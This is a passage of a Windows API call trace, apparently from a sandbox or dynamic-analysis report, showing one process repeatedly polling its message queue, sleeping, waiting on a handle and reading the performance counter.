[0144.337] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.338] Sleep (dwMilliseconds=0x64) [0144.353] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.353] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756877705) returned 1 [0144.353] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756877889) returned 1 [0144.353] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.354] Sleep (dwMilliseconds=0x64) [0144.368] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756932047) returned 1 [0144.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756932231) returned 1 [0144.369] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.370] Sleep (dwMilliseconds=0x64) [0144.384] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=756983639) returned 1 [0144.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=756983822) returned 1 [0144.384] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.385] Sleep (dwMilliseconds=0x64) [0144.399] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.399] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757036642) returned 1 [0144.399] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757036832) returned 1 [0144.400] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.400] Sleep (dwMilliseconds=0x64) [0144.415] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.415] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757090008) returned 1 [0144.415] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757090206) returned 1 [0144.415] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.416] Sleep (dwMilliseconds=0x64) [0144.430] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.430] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757143306) returned 1 [0144.430] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757143491) returned 1 [0144.431] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.431] Sleep (dwMilliseconds=0x64) [0144.446] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757196881) returned 1 [0144.446] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757197066) returned 1 [0144.447] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.447] Sleep (dwMilliseconds=0x64) [0144.461] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.462] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757249996) returned 1 [0144.462] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757250180) returned 1 [0144.462] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.463] Sleep (dwMilliseconds=0x64) [0144.494] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757359909) returned 1 [0144.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757360080) returned 1 [0144.494] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.495] Sleep (dwMilliseconds=0x64) [0144.508] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.508] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757410459) returned 1 [0144.509] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757410625) returned 1 [0144.509] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.510] Sleep (dwMilliseconds=0x64) [0144.527] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757473915) returned 1 [0144.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757474080) returned 1 [0144.528] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.528] Sleep (dwMilliseconds=0x64) [0144.539] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.539] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757516463) returned 1 [0144.540] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757516632) returned 1 [0144.540] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.541] Sleep (dwMilliseconds=0x64) [0144.555] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757569827) returned 1 [0144.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757569986) returned 1 [0144.556] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.556] Sleep (dwMilliseconds=0x64) [0144.573] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757631539) returned 1 [0144.573] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757631696) returned 1 [0144.574] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.574] Sleep (dwMilliseconds=0x64) [0144.586] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.586] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757676613) returned 1 [0144.586] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757676811) returned 1 [0144.587] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.587] Sleep (dwMilliseconds=0x64) [0144.602] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757732024) returned 1 [0144.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757732219) returned 1 [0144.603] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.604] Sleep (dwMilliseconds=0x64) [0144.620] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757792955) returned 1 [0144.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757793138) returned 1 [0144.621] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.622] Sleep (dwMilliseconds=0x64) [0144.633] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757836721) returned 1 [0144.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757836906) returned 1 [0144.634] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.634] Sleep (dwMilliseconds=0x64) [0144.649] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757889810) returned 1 [0144.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757889981) returned 1 [0144.649] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.650] Sleep (dwMilliseconds=0x64) [0144.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=757957709) returned 1 [0144.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=757957888) returned 1 [0144.669] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.670] Sleep (dwMilliseconds=0x64) [0144.708] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.708] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758092438) returned 1 [0144.708] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758092617) returned 1 [0144.709] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.710] Sleep (dwMilliseconds=0x64) [0144.711] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.711] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758103537) returned 1 [0144.711] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758103702) returned 1 [0144.712] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.712] Sleep (dwMilliseconds=0x64) [0144.731] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.732] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758172892) returned 1 [0144.732] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758173033) returned 1 [0144.732] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.732] Sleep (dwMilliseconds=0x64) [0144.756] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758257158) returned 1 [0144.756] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758257288) returned 1 [0144.757] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.757] Sleep (dwMilliseconds=0x64) [0144.758] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.758] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758263232) returned 1 [0144.758] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758263359) returned 1 [0144.758] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.759] Sleep (dwMilliseconds=0x64) [0144.773] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.774] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758316349) returned 1 [0144.774] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758316481) returned 1 [0144.774] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.774] Sleep (dwMilliseconds=0x64) [0144.789] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.789] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758369651) returned 1 [0144.789] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758369847) returned 1 [0144.790] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.790] Sleep (dwMilliseconds=0x64) [0144.805] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758424487) returned 1 [0144.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758424621) returned 1 [0144.806] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.806] Sleep (dwMilliseconds=0x64) [0144.821] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758478598) returned 1 [0144.821] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758478730) returned 1 [0144.821] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.822] Sleep (dwMilliseconds=0x64) [0144.840] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.843] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758554976) returned 1 [0144.843] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758555168) returned 1 [0144.844] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.845] Sleep (dwMilliseconds=0x64) [0144.851] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.852] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758582935) returned 1 [0144.852] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758583109) returned 1 [0144.852] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.853] Sleep (dwMilliseconds=0x64) [0144.867] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.867] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758636125) returned 1 [0144.867] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758636308) returned 1 [0144.868] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.868] Sleep (dwMilliseconds=0x64) [0144.891] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758718092) returned 1 [0144.891] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758718278) returned 1 [0144.892] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.892] Sleep (dwMilliseconds=0x64) [0144.903] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758757979) returned 1 [0144.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758758156) returned 1 [0144.903] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.904] Sleep (dwMilliseconds=0x64) [0144.915] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.915] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758800902) returned 1 [0144.915] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758801069) returned 1 [0144.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.916] Sleep (dwMilliseconds=0x64) [0144.929] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.929] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758849377) returned 1 [0144.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758849533) returned 1 [0144.930] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.930] Sleep (dwMilliseconds=0x64) [0144.945] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758903023) returned 1 [0144.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758903179) returned 1 [0144.946] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.946] Sleep (dwMilliseconds=0x64) [0144.962] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=758961119) returned 1 [0144.962] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=758961278) returned 1 [0144.963] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.963] Sleep (dwMilliseconds=0x64) [0144.976] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759009523) returned 1 [0144.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759009720) returned 1 [0144.977] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.978] Sleep (dwMilliseconds=0x64) [0144.992] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0144.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759062820) returned 1 [0144.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759063018) returned 1 [0144.993] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0144.993] Sleep (dwMilliseconds=0x64) [0145.009] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759120485) returned 1 [0145.009] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759120680) returned 1 [0145.009] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.010] Sleep (dwMilliseconds=0x64) [0145.024] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759171747) returned 1 [0145.024] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759171942) returned 1 [0145.024] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.025] Sleep (dwMilliseconds=0x64) [0145.040] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759226575) returned 1 [0145.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759226759) returned 1 [0145.040] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.041] Sleep (dwMilliseconds=0x64) [0145.054] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759276037) returned 1 [0145.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759276219) returned 1 [0145.055] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.055] Sleep (dwMilliseconds=0x64) [0145.070] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.070] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759329629) returned 1 [0145.070] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759329816) returned 1 [0145.071] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.071] Sleep (dwMilliseconds=0x64) [0145.086] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759384830) returned 1 [0145.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759385000) returned 1 [0145.087] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.087] Sleep (dwMilliseconds=0x64) [0145.101] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.101] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759435932) returned 1 [0145.101] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759436102) returned 1 [0145.102] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.102] Sleep (dwMilliseconds=0x64) [0145.118] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759492341) returned 1 [0145.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759492508) returned 1 [0145.118] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.119] Sleep (dwMilliseconds=0x64) [0145.133] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759544705) returned 1 [0145.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759544873) returned 1 [0145.133] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0145.134] Sleep (dwMilliseconds=0x64) [0145.148] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0145.148] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=759596549) returned 1 [0145.148] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=759596718) returned 1 